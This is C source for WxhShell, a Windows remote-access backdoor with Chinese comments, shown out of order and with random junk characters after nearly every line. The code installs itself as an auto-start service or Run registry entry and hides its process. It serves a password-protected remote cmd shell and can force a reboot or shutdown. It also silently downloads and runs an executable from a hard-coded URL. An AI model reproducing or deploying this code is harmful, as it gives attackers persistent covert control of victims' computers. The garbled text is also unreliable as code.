    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Iq+2mQi*/k  
    if(Boot(SHUTDOWN)) StEQ -k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +<&E3Or  
    else { -:MmSeG7gO  
    closesocket(wsh); O47PkP8  
    ExitThread(0); Tj=gRQ2v  
    } sr\cVv")  
    break; $Jcq7E~  
    } N8VVGPa  
  // 获取shell k=e`*LB\  
  case 's': { F"I*-!o  
    CmdShell(wsh); byafb+x  
    closesocket(wsh); IAYACmlN&  
    ExitThread(0); sa G8g  
    break; hqL+_| DW  
  } ^CUSlnB\(  
  // 退出  7SaiS_{:  
  case 'x': { $(3uOsy   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )AI?x@  
    CloseIt(wsh); <KX&zi<L)  
    break; B_hPcmB  
    }  c-5Ysg  
  // 离开 ]w!0u2K<Q\  
  case 'q': { G{+2x N a(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1eHe~p ,  
    closesocket(wsh); 6|5H=*)DH  
    WSACleanup(); ~cIl$b  
    exit(1); ytiyF2Kp  
    break; /D'M24  
        } ya.n'X14  
  } 9Sz7\W0  
  } TdFT];:  
&))\2pl  
  // 提示信息 a~opE!|m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &<Zdyf?[Ou  
} FAw1o  
  } $Asr`Q1i   
5$%XvM  
  return; [pL*@9Sa&  
} -uj3'g (;w  
cS(;Qs]Q  
// shell模块句柄 A?A9`w  
int CmdShell(SOCKET sock) [EOVw%R  
{ 2"X~ju  
STARTUPINFO si; 2.nE k  
ZeroMemory(&si,sizeof(si)); _{)9b24(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s$ z2 c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {$33B'wk  
PROCESS_INFORMATION ProcessInfo; ^_W40/c3  
char cmdline[]="cmd"; >g}G}=R~3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6pp$-uS  
  return 0; S)7/0N79A  
} ix&'0IrX*  
 z)w-N  
// 自身启动模式 : G=FiC  
int StartFromService(void) t7*#[x)a  
{ 3{ "O,h  
typedef struct .3X Y&6  
{ A gWPa.'3  
  DWORD ExitStatus; +qy6d7^  
  DWORD PebBaseAddress; T$mbk3P  
  DWORD AffinityMask; n_23EcSy  
  DWORD BasePriority; 8:dQ._#v  
  ULONG UniqueProcessId; 5FOqv=6S  
  ULONG InheritedFromUniqueProcessId; jDX>izg;V  
}   PROCESS_BASIC_INFORMATION; (s&&>M]r_  
%\6Q .V#s  
PROCNTQSIP NtQueryInformationProcess; +~35G:&:  
t)a;/scT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B<,YPS8w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; izuF !9  
Ch5+N6c^  
  HANDLE             hProcess; K0Tg|9  
  PROCESS_BASIC_INFORMATION pbi; +}JM&bfK  
e fO jTA%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  rLv;Y  
  if(NULL == hInst ) return 0; "#4dW7E  
?9xu{B>6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (CE7j<j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t'(1I|7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RUo9eQIPD  
4XJiIa?  
  if (!NtQueryInformationProcess) return 0; @~:8ye  
C5 X(U :  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Adx`8}N8  
  if(!hProcess) return 0; g0&\l}&%U  
=.Tv)/ea  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |FNCXlgZ  
c0rk<V%5+  
  CloseHandle(hProcess); Im?LIgt$  
7~UR!T9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DuF"*R~et  
if(hProcess==NULL) return 0; vHKlLl>*2  
',=g;  
HMODULE hMod; ~ 'Vxg}  
char procName[255]; WAPhv-6  
unsigned long cbNeeded; \'v(Xp6  
{?8B,G2r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I 3$dVls}  
k%81f'H  
  CloseHandle(hProcess); (6gK4__}]  
TzG]WsY_  
if(strstr(procName,"services")) return 1; // 以服务启动 @N.jB#nEb  
>U!*y4  
  return 0; // 注册表启动 5M_Wj*a}7  
} l=m(mf?QBg  
[\e@_vY@OH  
// 主模块 EbQa?  
int StartWxhshell(LPSTR lpCmdLine) LIpEQ7;  
{ TnH\O$  
  SOCKET wsl; SNpi=K!yn  
BOOL val=TRUE; +j/~Af p5f  
  int port=0; $)Bg JDr  
  struct sockaddr_in door; \_BkY%a  
Ym8}ZW-  
  if(wscfg.ws_autoins) Install(); qUJ aeQ  
p( LZ)7/  
port=atoi(lpCmdLine); aX6}6zubr  
KY9n2u&4  
if(port<=0) port=wscfg.ws_port; =:I+6PlF@  
,H kj1x  
  WSADATA data; z j{s}*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yl^mAS[w&  
_}6q{}jn:c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E/b"RUv}h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gh( A%x)  
  door.sin_family = AF_INET; t ?eH'*>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $lwz-^1t.  
  door.sin_port = htons(port); )%Iv[TB[  
YwDt.6(+,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^QX bJJ  
closesocket(wsl); Dm0a.J v  
return 1; n6Z|Q@F  
} Y3U9:VB  
+cu^%CXT  
  if(listen(wsl,2) == INVALID_SOCKET) { k!L@GQ  
closesocket(wsl); zTm]AG|0  
return 1; ^A_;#vK  
} {8RFK4! V@  
  Wxhshell(wsl); B4H!5b  
  WSACleanup(); g_.^O$}  
m_NCx]#e   
return 0; EG<s_d?  
8At<Wic  
} ['qnn|  
 :$r ^_  
// 以NT服务方式启动 YA]5~ ZE\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ] ZoPQUS?  
{  $)~   
DWORD   status = 0; ef"?|sn  
  DWORD   specificError = 0xfffffff; Dt}rR[yJ  
_=XX~^I,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?}P5p^6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^"8wUsP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hf gz02Z$  
  serviceStatus.dwWin32ExitCode     = 0; b7:0#l$  
  serviceStatus.dwServiceSpecificExitCode = 0; V|D] M{O  
  serviceStatus.dwCheckPoint       = 0; X@A1#z+s0]  
  serviceStatus.dwWaitHint       = 0; %eWqQ3{P]  
){;02^tX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n~IVNB*  
  if (hServiceStatusHandle==0) return; W8WXY_yJt  
UK[v6".^h  
status = GetLastError(); DvXHK  
  if (status!=NO_ERROR) >!6JKL~=  
{ NZLAk~R;0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cI0 ]}S  
    serviceStatus.dwCheckPoint       = 0; d9^E.8p$  
    serviceStatus.dwWaitHint       = 0; 30j|D3-  
    serviceStatus.dwWin32ExitCode     = status; ?=Pd  
    serviceStatus.dwServiceSpecificExitCode = specificError; vw>jJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2\D8.nQr  
    return; ;t#]2<d*  
  } LJlZ^kh  
aBuoHdg;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V&{MQWy  
  serviceStatus.dwCheckPoint       = 0; S_(d9GK<  
  serviceStatus.dwWaitHint       = 0; KFRw67^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (]2H7X:b  
} = "ts`>  
+a@GHx 4-  
// 处理NT服务事件,比如:启动、停止 %|W.^q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l,|%7-  
{ JH,/jR  
switch(fdwControl) sY SLmUZ{  
{ RzKb{> ;A  
case SERVICE_CONTROL_STOP: NPnHH:\;  
  serviceStatus.dwWin32ExitCode = 0; %:v`EjRD0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #s-iy+/1oN  
  serviceStatus.dwCheckPoint   = 0; Y-!YhWsS  
  serviceStatus.dwWaitHint     = 0; :a[Ihqfg  
  { tA.`k;LT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L71!J0@a#  
  } nSx8E7 |V  
  return; -T@`hk`  
case SERVICE_CONTROL_PAUSE: ~EiH-z4U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n||A" @b\  
  break; ?i\;:<e4  
case SERVICE_CONTROL_CONTINUE: \;5\9B"i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }ET,ysa  
  break; ,~PYt*X4  
case SERVICE_CONTROL_INTERROGATE: 4<,|*hAT  
  break; ;F:fM!l=  
}; vsB*rP=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;i uQ?MR3  
} . RVVWqW  
Njc%_&r  
// 标准应用程序主函数 dhPKHrS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XUMX*  
{ w&h 2y4  
ed 59B)?l  
// 获取操作系统版本 Q[n\R@  
OsIsNt=GetOsVer(); 3Mjj' 5KH!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~`8hwR1&z  
'fV%Z  
  // 从命令行安装 xg`h40c  
  if(strpbrk(lpCmdLine,"iI")) Install(); '=E9En#@  
uLeRZSC  
  // 下载执行文件 5v.DX`"  
if(wscfg.ws_downexe) { <~U4*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gwkb!#A  
  WinExec(wscfg.ws_filenam,SW_HIDE); |H}sYp  
} 66&EBX}  
q}|U4MJm  
if(!OsIsNt) { M+>`sj  
// 如果时win9x,隐藏进程并且设置为注册表启动 Oft arD  
HideProc(); b]Kk2S/  
StartWxhshell(lpCmdLine); 6(&Y(/  
} .\Fss(Zn  
else <Cpp?DW_  
  if(StartFromService()) rt7<Q47QE  
  // 以服务方式启动 Z [Xa%~5>5  
  StartServiceCtrlDispatcher(DispatchTable); `NRH9l>B7  
else ` m@U!X  
  // 普通方式启动 MZv]s  
  StartWxhshell(lpCmdLine); UM%o\BiO  
FjfN3#qlg  
return 0; 9W7#u}Z  
} j|fd-<ng  
t !`Jse>  
y7\"[<E`(V  
Fqq6^um  
=========================================== nt1CTWKM8^  
km5~Gc}  
qNgd33u1  
is; XmF*5=  
O>y'Nqz  
MhEw _{?  
" &-yGVx  
.\3`2  
#include <stdio.h> l;X|=eu'  
#include <string.h> ?9MVM~$  
#include <windows.h> 10[Jl5+t  
#include <winsock2.h> yq[Cq=rBk  
#include <winsvc.h> n| O [a6G  
#include <urlmon.h> zJlQ_U-!  
Yj(4&&Q  
#pragma comment (lib, "Ws2_32.lib") 7^TV~E#  
#pragma comment (lib, "urlmon.lib") faXx4A2"  
4NR@u\S  
#define MAX_USER   100 // 最大客户端连接数 G\gMC <3  
#define BUF_SOCK   200 // sock buffer /?-7Fg+,  
#define KEY_BUFF   255 // 输入 buffer 6R UrF  
34|a\b}  
#define REBOOT     0   // 重启 Gi6T["  
#define SHUTDOWN   1   // 关机 XkmQBV"  
HjNxqaljt  
#define DEF_PORT   5000 // 监听端口 Btt]R  
Yepe=s+9  
#define REG_LEN     16   // 注册表键长度 er.L7  
#define SVC_LEN     80   // NT服务名长度 al9.}  
\(UKd v  
// 从dll定义API L #[]I,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z{NC9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VObrlOkp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j5$BK[p.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *!e(A ]&  
<-Bx&Q  
// wxhshell配置信息 &<'n^n  
struct WSCFG { a?5[k}\  
  int ws_port;         // 监听端口 i7[uLdQ  
  char ws_passstr[REG_LEN]; // 口令 `BFIC7a  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~:Uw g+]j  
  char ws_regname[REG_LEN]; // 注册表键名 hPhZUL%  
  char ws_svcname[REG_LEN]; // 服务名 6 &U+6gb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l7[7_iB&E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .3pbuU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W1aa:hEf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C.  MoKa3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C&\5'[*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >XW*T5aUA  
$K~LM8_CKy  
}; H( ^bC5'  
$3+PbYY  
// default Wxhshell configuration m(OvD!  
struct WSCFG wscfg={DEF_PORT,  r}_c  
    "xuhuanlingzhe", *~$~yM/~3U  
    1, { >{B`e`$  
    "Wxhshell", ) iQ   
    "Wxhshell", p\v Mc\  
            "WxhShell Service", gieJ}Bv  
    "Wrsky Windows CmdShell Service", ]1-z! B4K  
    "Please Input Your Password: ", =TvzS%U  
  1, ITuq/qts]A  
  "http://www.wrsky.com/wxhshell.exe", cF T 9Lnz  
  "Wxhshell.exe" donw(_=  
    }; nx":"LFI  
v0*N)eqDGd  
// 消息定义模块 %!Q`e79g8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N@o?b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \g)Xt?w0Wo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RH;:9_*F  
char *msg_ws_ext="\n\rExit."; g\oSG)  
char *msg_ws_end="\n\rQuit."; 3#kitmV  
char *msg_ws_boot="\n\rReboot..."; g\A y`.s  
char *msg_ws_poff="\n\rShutdown..."; YMpf+kN  
char *msg_ws_down="\n\rSave to "; \Xrw"\")j  
w*j$uW6{  
char *msg_ws_err="\n\rErr!"; >ndJNinV  
char *msg_ws_ok="\n\rOK!"; '8FC<=+p[  
v]:=K-1n  
char ExeFile[MAX_PATH]; }_.:+H!@  
int nUser = 0; mZk0@C&:6  
HANDLE handles[MAX_USER]; vW,snxK6y&  
int OsIsNt; %5Kq^]q;Y  
4R +.N  
SERVICE_STATUS       serviceStatus; v *hRz;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .] 4W!])9  
RWq{Ff}Hk  
// 函数声明 /G{_7cb  
int Install(void); JwnAW}=  
int Uninstall(void); f6<g3Q7Mu  
int DownloadFile(char *sURL, SOCKET wsh); }w-wSkl1  
int Boot(int flag); 4_M>OD/"  
void HideProc(void); /BKe+]dS*  
int GetOsVer(void); 7J$b$P0}  
int Wxhshell(SOCKET wsl); fg%&N2/(.B  
void TalkWithClient(void *cs); `rY2up#%  
int CmdShell(SOCKET sock); I XA>`D  
int StartFromService(void); ~!6K]hB4  
int StartWxhshell(LPSTR lpCmdLine); JeH;v0  
t/i5,le  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V% TH7@y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %n0;[sD0A  
UnWW/]E  
// 数据结构和表定义 a.F Al@Br  
SERVICE_TABLE_ENTRY DispatchTable[] = )8gGv  
{ sE(HZR1  
{wscfg.ws_svcname, NTServiceMain}, 8Ad606  
{NULL, NULL} %6j)=IOts  
}; Q<tu)Qo  
4NEq$t$Jn  
// 自我安装 zQy"m-Q  
int Install(void) 3ucP(Ex@tg  
{ CCijf]+  
  char svExeFile[MAX_PATH]; 6w3R'\9  
  HKEY key; nHFrG =o,  
  strcpy(svExeFile,ExeFile); "LhUxnll  
.o{0+fC#  
// 如果是win9x系统,修改注册表设为自启动 1tzV8(7  
if(!OsIsNt) { u}hF8eD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,M !tm7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <M?:  
  RegCloseKey(key); |Q~cX!;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -OZ 5vH0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^:, l\Y  
  RegCloseKey(key); RH0>ZZR  
  return 0; c2l_$p  
    } i y YJR  
  } mbl]>JsQD  
} y2HxP_s?P?  
else { =64r:E  
Eq% @"-m o  
// 如果是NT以上系统,安装为系统服务 =?0lA_ 0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $L4/I!Yf  
if (schSCManager!=0) 5vzceQE}  
{ E&$_`m;  
  SC_HANDLE schService = CreateService v'2[[u{7*  
  ( 4\t1mocCSN  
  schSCManager, W~T}@T:EN  
  wscfg.ws_svcname, =%)+%[wv  
  wscfg.ws_svcdisp, ! {,F~i9  
  SERVICE_ALL_ACCESS, EC&@I+'8Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;|%dY{L-  
  SERVICE_AUTO_START, n#Dv2 E=6  
  SERVICE_ERROR_NORMAL, gB,G.QM*6  
  svExeFile, S&nxok`e^  
  NULL, ewNz%_2  
  NULL, :!&;p  
  NULL, T<yP* b2E  
  NULL, l|`9:H  
  NULL zZ-wG  
  ); -a Gcf]6  
  if (schService!=0) eg+!*>GaX  
  { "ceed)(:  
  CloseServiceHandle(schService); Yx'res4e  
  CloseServiceHandle(schSCManager); ?C0l~:j7D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |iFVh$N  
  strcat(svExeFile,wscfg.ws_svcname); ~`;rNnOT3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q\ ^[!|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UCrh/bTm  
  RegCloseKey(key); 3CjL\pIC  
  return 0; 7)rWw<mY  
    } l7(!`NPbC  
  } !33#. @[  
  CloseServiceHandle(schSCManager); gCd`pi 8  
} Rx36?/  
} 07T70[G  
[36,eK  
return 1; u]^N&2UW  
} Wm'QP4`  
Dz=k7zRg"  
// 自我卸载 Rr(* aC2P  
int Uninstall(void) +!-~yf#RE  
{ iyZZ}M  
  HKEY key; ylf[/='0K  
Sgb*tE)T  
if(!OsIsNt) { U7mozHS,:9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PHg48Y"Nd  
  RegDeleteValue(key,wscfg.ws_regname); ,''cNV  
  RegCloseKey(key); jg  2qGC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ OJyN,A  
  RegDeleteValue(key,wscfg.ws_regname); t-u|U(n  
  RegCloseKey(key); V5"CSMe  
  return 0; NY$uq+Z>  
  } "i.r@<)S  
} nm$Dd~mxW1  
} Thy=yz;p  
else { M/D)".;  
?zJpD8e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /5AW?2)  
if (schSCManager!=0) Oh.ZPG=  
{ *x~xWg9^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1RLY $M  
  if (schService!=0) WlB' YL-`g  
  { (LvS :?T}  
  if(DeleteService(schService)!=0) { $ZPX]2D4B#  
  CloseServiceHandle(schService); ;wiao(t>4N  
  CloseServiceHandle(schSCManager); `?*%$>W#"  
  return 0; HWns.[  
  } V=I"-k}RL  
  CloseServiceHandle(schService); &WXY'A=  
  } E9j+o y  
  CloseServiceHandle(schSCManager); T&Xl'=/  
} <[aDo%,A  
} qpoV]#iW  
%x; x_  
return 1; |9xI_(+{kP  
} z_;3H,z`  
"; [ iZ  
// 从指定url下载文件 v4Zb? Yb  
int DownloadFile(char *sURL, SOCKET wsh) }g +;y  
{ :qhpL-ER  
  HRESULT hr; 4:3rc7_ 1  
char seps[]= "/"; [@ <sFP;g  
char *token; >$677  
char *file; >t,M  
char myURL[MAX_PATH]; %1 KbS [  
char myFILE[MAX_PATH]; ?)Nj c&G  
uaw~r2  
strcpy(myURL,sURL); o!TQk{0  
  token=strtok(myURL,seps); ubMOD<  
  while(token!=NULL) Zt -1h{7  
  { + Y.1)i}  
    file=token; _R|Ify#J  
  token=strtok(NULL,seps); B@Co'DV[/]  
  } @r(Z%j7  
I-D^>\k+  
GetCurrentDirectory(MAX_PATH,myFILE); :6J +%(f  
strcat(myFILE, "\\"); i>L+gLW  
strcat(myFILE, file); Uk*IpP`  
  send(wsh,myFILE,strlen(myFILE),0); 3gWvmep1  
send(wsh,"...",3,0); aIy*pmpD=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kB:Uu }(=N  
  if(hr==S_OK) S 6,4PP  
return 0; HysS_/t~  
else a`9L,8Ve  
return 1; }TRAw#h  
F~#zxwd  
} +'@+x'/{^  
h!@|RW&}qX  
// 系统电源模块 <^.=>Q0 S\  
int Boot(int flag) }_tln  
{ `cz2DR-"  
  HANDLE hToken; j*@l"V>~  
  TOKEN_PRIVILEGES tkp; [sV"ws  
}K1 0Po'  
  if(OsIsNt) { ^{$FI`P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <`X"}I3 ba  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v!3A9!.  
    tkp.PrivilegeCount = 1; #v#<itfFH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S>G?Q_&}?D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -hcS]~F  
if(flag==REBOOT) { ]G.%Ty  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p?[Tm*r  
  return 0; ( GnuWc\p  
} `J<*9dq%  
else { XLk<*0t p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j| Wv7  
  return 0; 5 S Xn?  
} _!;Me )C  
  } 1Q;}z Hd  
  else { 6h?gs"[j  
if(flag==REBOOT) { C fEmT8sa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CHd9l]Rbe  
  return 0; I3 =#@2  
} X5fmz%VK@  
else { vzzE-(\\e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RpG+>"1]  
  return 0; mOpTzg@  
} CZnK8&VDY  
} HD,xY4q&N  
.Ig+Dj{)  
return 1; +h^jC9,m~{  
} 2M<R(W!&  
wS+V]`b  
// win9x进程隐藏模块 <H3ezv1M  
void HideProc(void) q/3ziVd7p  
{ 3<=,1 cU  
c0c|z Ym  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R_] {2~J+  
  if ( hKernel != NULL ) iUMY!eqp  
  { g 6]epp[8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eAUcv`[#p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /-zXM;h  
    FreeLibrary(hKernel); hc (e$##  
  } 0.$hn  
rWys'uc  
return; &uP~rEJl+  
} o)6pA^+  
h1 WT  
// 获取操作系统版本 nKR{ug>I)  
int GetOsVer(void) ?oZR.D|SZ  
{ qbrpP(.  
  OSVERSIONINFO winfo; WPZ?*Sx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (npj_s!.C)  
  GetVersionEx(&winfo); U<XSj#&8|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *vgl*k?)  
  return 1; R(.}C)q3  
  else +[\eFj|=  
  return 0; ,h|qi[7  
} f~E*Zz`;  
(>J4^``x=  
// 客户端句柄模块 $VAx:Y|  
int Wxhshell(SOCKET wsl) j R=s#Xz  
{ >56>*BHD  
  SOCKET wsh; $'W}aER  
  struct sockaddr_in client; =_j vk.  
  DWORD myID; FYs)M O  
Vz14j_  
  while(nUser<MAX_USER) %1pYE Hn  
{ "~UUx"Y  
  int nSize=sizeof(client); - (#I3h;I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EM>}0V  
  if(wsh==INVALID_SOCKET) return 1; y"]n:M:(  
y(R? ,wa=]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YV=QF J'  
if(handles[nUser]==0) 2|\A7.  
  closesocket(wsh); *5bLe'^\|K  
else Y_`-9'&  
  nUser++; <Q|d&vDVfV  
  } 5J8r8` t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '` 'GK&)  
[m^+,%m5]  
  return 0; Cg*H.f%Mr  
} y@CHR  
B?VhIP e  
// 关闭 socket MO;X>D=  
void CloseIt(SOCKET wsh) e1//4H::t  
{ A+@&"  
closesocket(wsh); rt JtK6t  
nUser--; oYWR')8g  
ExitThread(0); 0G!]=  
} 9rh}1eo7  
hdTzCfeZ5@  
// 客户端请求句柄 >-&R47G  
void TalkWithClient(void *cs) E .1J2Ne  
{ MX@IHc  
>#ZUfm{k$  
  SOCKET wsh=(SOCKET)cs; TAjh"JJIV  
  char pwd[SVC_LEN]; h|X^dQb]  
  char cmd[KEY_BUFF]; $d?.2Kg  
char chr[1]; ;?C #IU  
int i,j; KfF!{g f  
>u9Nz0?j  
  while (nUser < MAX_USER) { tabT0  
W0I#\b18  
if(wscfg.ws_passstr) { Bc3:}+l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oyo(1 >  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [qsEUc+Z.'  
  //ZeroMemory(pwd,KEY_BUFF); SkU9ON   
      i=0; 0M\D[ mg  
  while(i<SVC_LEN) { j,]Y$B  
RK w$-7O  
  // 设置超时 8Lw B B  
  fd_set FdRead; mN8pg4  
  struct timeval TimeOut; F R|&^j6  
  FD_ZERO(&FdRead); ~  T>U  
  FD_SET(wsh,&FdRead); phO;c;y}  
  TimeOut.tv_sec=8; `y+tf?QN  
  TimeOut.tv_usec=0; hy|b6wF&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `est|C '+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e<r,&U$  
F;^F+H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e%W$*f  
  pwd=chr[0]; o M Zq+>  
  if(chr[0]==0xd || chr[0]==0xa) { U`hY{E;  
  pwd=0; F5S@I;   
  break; 4&l10fR5  
  } 8QMPY[{   
  i++; :1Sl"?xU  
    } {k rswh3  
jt+iv*2N>  
  // 如果是非法用户,关闭 socket Jmx Ko+-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XrZ*1V  
} W456!OHa  
[$[:"N_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *hcYGLx r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RejQ5'Neh  
bV/jfV"%E  
while(1) { >LDhU%bH  
?7{H|sI  
  ZeroMemory(cmd,KEY_BUFF); eF2|Wjl``;  
qW b+r  
      // 自动支持客户端 telnet标准   o.I6ulY8  
  j=0; l&?ii68/  
  while(j<KEY_BUFF) { )=Jk@yj8x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w6j/ Dq!  
  cmd[j]=chr[0]; '] +Uu'a  
  if(chr[0]==0xa || chr[0]==0xd) { ?IpLf\n-  
  cmd[j]=0; (W}bG>!#Q8  
  break; /Z7iLq~t"G  
  } }f2r!7:x  
  j++; U(x]O/m  
    } m8.U &0  
2#k5+?-c61  
  // 下载文件 AlJ} >u  
  if(strstr(cmd,"http://")) { r(9~$_(vK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XVU2T5s}  
  if(DownloadFile(cmd,wsh)) kZ"BBJ6w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R LD`O9#j  
  else Z(Jt~a3o  
